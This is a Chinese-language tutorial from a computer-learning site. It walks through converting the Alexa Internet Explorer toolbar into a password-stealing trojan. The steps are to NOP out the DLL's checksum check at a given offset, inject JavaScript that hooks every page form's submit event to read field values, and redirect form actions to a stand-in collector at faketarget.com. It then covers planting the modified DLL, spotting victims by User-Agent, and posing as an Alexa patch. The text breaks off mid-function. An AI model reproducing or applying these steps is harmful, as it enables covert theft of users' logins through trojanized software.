萬盛學電腦網

 萬盛學電腦網 >> 病毒防治 >> 移花接木 將Alexa工具條改裝成間諜木馬

移花接木 將Alexa工具條改裝成間諜木馬

  Alexa是一個發布全球網站排名信息的網站,他的網址是http://www.alexa.com。Alexa通過在客戶端安裝Alexa工具條來收集采樣全球網站的訪問數據,以這些數據為依據對全球網站進行排名,類似於電視收視率的統計。Alexa工具條是一種類似於Google工具條的IE插件,你可以在下面URL中下載:http://download.alexa.com/index.cgi。

  一、Alexa工具條的工作原理

  Alexa工具條是一種基於BHO和Toolbar Bands技術的一種IE插件。它以DLL文件的形式存在於系統中,是一種COM組件,IE會在運行時將其加載到自身進程中去,所以一般情況下防火牆是無法禁止該軟件訪問網絡的,這就為他的木馬角色提供了先天的便利,而且比本機Sniff軟件收集密碼的優勢是:無論是HTTP還是HTTPS的網站,不管通信通道是否加密,只要是IE頁面的表單都能收集到。具體原理可以查閱《關於Alexa排名作弊的一些解惑》。

  系統在安裝了Alexa工具條後,會在系統目錄下生成AlxTB1.dll和AlxRes.dll兩個DLL文件(有些情況下是AlxTB2.dll,而不是AlxTB1.dll。那是因為Alexa工具條會自動上網更新的原因)。Alexa工具條的主要二進制代碼存在於AlxTB1.dll文件中,這個文件同時也被注冊成多個COM組件,他完成了BHO和Toolbar Bands的COM接口,並將IE的WebBrowser控件封裝為一個COM組件供AlxRes.dll調用。AlxRes.dll文件僅包含少量的二進制代碼,大量的代碼是HTML和javascript代碼,他們以資源的形式存在於AlxRes.dll文件中,你可以通過res://AlxRes.dll/CHTML/about.html這樣的URL來訪問這些資源。也許你會奇怪:又不是做網站,為什麼軟件的代碼會是javascript寫的?這就是Alexa工具條垃圾的地方。Alexa工具條的主界面是由HTML+javascript實現的。這些javascript代碼通過調用AlxTB1.dll實現的COM接口來實現軟件的全部功能。這樣做不僅導致軟件的效率低下,而且產生大量的資源洩漏,絕對是一種VERY超級SB的開發模式,但是卻為我們修改Alexa工具條的功能提供了方便——根本不需要CRACKER知識,只要一個PE資源修改工具就可以對Alexa工具條的代碼進行修改了。

  二、破解Alexa工具條

  當然,Alexa也不是真傻,絕對不會蠢到讓自己的代碼被你用資源修改工具隨便改。為了防止AlxRes.dll中的資源被隨意修改,他采取了計算文件校驗和的保護方法,要是發現文件被修改,就會拒絕加載。我們在修改代碼前,必須破解這種保護機制。

  AlxTB1.dll導出一個名叫ChecksumResources的函數,這個函數就是用來計算文件校驗和的。用c32asm反匯編AlxRes.dll文件,查看字符串調用列表,找到"ChecksumResources"字符串,跳轉到調用該字符串的代碼,於100017C0處。往下翻幾行,在100017F6處找到一句跳轉,采用爆破方式,用NOP指令覆蓋JNZ指令即可。通俗點講:就是將AlxRes.dll文件偏移"0x17F6"處的兩個字節"75 11"改成"90 90",你可以使用WinHex之類的16進制編輯軟件來修改。

::100017C0:: 68 9C700010 PUSH 1000709C :BYJMP JmpBy:100017A4,100017B1, ->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE :JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI :BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 :JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 :JMPDOWN ;就是修改這裡;

  現在我們可以毫無顧忌的修改AlxRes.dll中的資源了。

  三、修改Alexa工具條的代碼

  熟悉IE編程的人都知道,DWebBrowserEvents2接口是用來接收WebBrowser的事件通知的,我們可以在AlxRes.dll的javascript代碼中找到這些些對應的函數。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代碼中,有一系列的javascript函數,對應於DWebBrowserEvents2接口的成員,如:DocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我們可以在BeforeNavigate2中截獲PostData,但是在AlxRes.dll的代碼中,這個接口沒有完全實現。在DWebBrowserEvents2接口中的原型是:

void BeforeNavigate2(IDispatch *pDisp,
 VARIANT *&url,
 VARIANT *&Flags,
 VARIANT *&TargetFrameName,
 VARIANT *&PostData,
 VARIANT *&Headers,
 VARIANT_BOOL *&Cancel
)

  這其中的PostData包含了的Post數據。而BP_onBeforeNavigate的函數原型:

function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders)

  其中,bPostData只是個BOOL類型的變量。此路不通,必須另想辦法。

  一般來說,我們在IE中輸入的用戶名密碼都是通過表單提交到服務器的,如果能在表單提交前截獲表單的內容就可以實現竊取密碼了。在javascript中,只要處理表單的"OnSubmit"事件,就可以先於提交而處理表單的內容。而AlxRes.dll的功能也是由javascript實現的,所以我們就無需面對繁瑣的COM接口,而直接使用javascript了。

  這裡我推薦使用Resource Hacker來修改AlexRes.dll中的資源,個人感覺比eXeScope用起來爽多了。

  四、截獲網頁表單的內容

  我現在使用的方法有些類似於"跨站點腳本執行漏洞"。先來看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函數:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL)

  該函數在IE的當前浏覽頁面被加載完成時被調用,其中的 oWebBrowser2 參數可以當作當前IE正在浏覽的頁面的window對象。如果你懂得javascript的話,接下來要做的事情就十分簡單了。添加如下代碼:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
 for(i=0;i<oWebBrowser2.document.forms.length;i++)
 {
  oWebBrowser2.document.forms[i].onsubmit=test;
 }
 }catch(e){}
  return false;
};

  這段代碼的作用就是枚舉當前頁面中所有的表單對象,並為這些表單定義OnSubmit事件。接下來就是完成test函數了:

function test()
{
 try{
  window.alert("I can get the value!");
  for(i=0;i<this.length;i++)
  {
   if(this.elements[i].name!="")
   {
    window.alert(this.elements[i].name+":"+this.elements[i].value);
    //do some thing
   }
  }
 }catch(e){}
 return true;
};

  不過用這種方法存在一點弊端:當表單是通過javascript語句"Submit()"提交時,不會產生"OnSubmit"事件,上面的代碼也就無法紀錄下表單的內容了。可以采用改變表單提交地址的方法來解決這個問題:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
 ... ...
 try{
  for(i=0;i<oWebBrowser2.document.forms.length;i++)
  {
   oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value=’"+oWebBrowser2.document.forms[i].action+"’>";
   oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
  }
 }catch(e){}
 return false;
};

  以上的代碼對於某些頁面存在問題,有時會無法將隱藏字段添加到表單中去。

  五、散布和植入木馬

  以上代碼均是用PE資源軟件修改AlxRes.dll文件實現的。所以,只要用新的AlxRes.dll文件將原來系統的AlxRes.dll替換掉。Alexa工具條在加載的時候會優先在"C:Program FilesInternet Explorer"和"C:Documents and Settings[username]桌面"這兩個路徑下搜索AlxRes.dll,所以也可以把修改過的AlxRes.dll放到這兩個路徑下,這樣就不用覆蓋源文件了。至於怎麼安裝,那可是有一大堆的IE漏洞等著你去Exploit呢,這可不是本文涉及的范圍。

  安裝了Alexa工具條的IE的"User-Agent"會加入"Alexa Toolbar"的標記,所以很容易區分目標的IE是否已經安裝了Alexa工具條:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar);

  也可以修改Alexa的安裝文件,或者以Alexa補丁的名義來發布,這個就扯遠了。

  六、收集密碼

  你可以用FileSystemObject控件來將表單內容紀錄到文件,或者直接作為參數發送到某個Web服務器,由web服務器收集紀錄下來即可。為了在客戶端過濾一些不包含密碼的表單,最好在AlxRes.dll的代碼中對收集的表單數據進行一些檢查:

function test()
{

copyright © 萬盛學電腦網 all rights reserved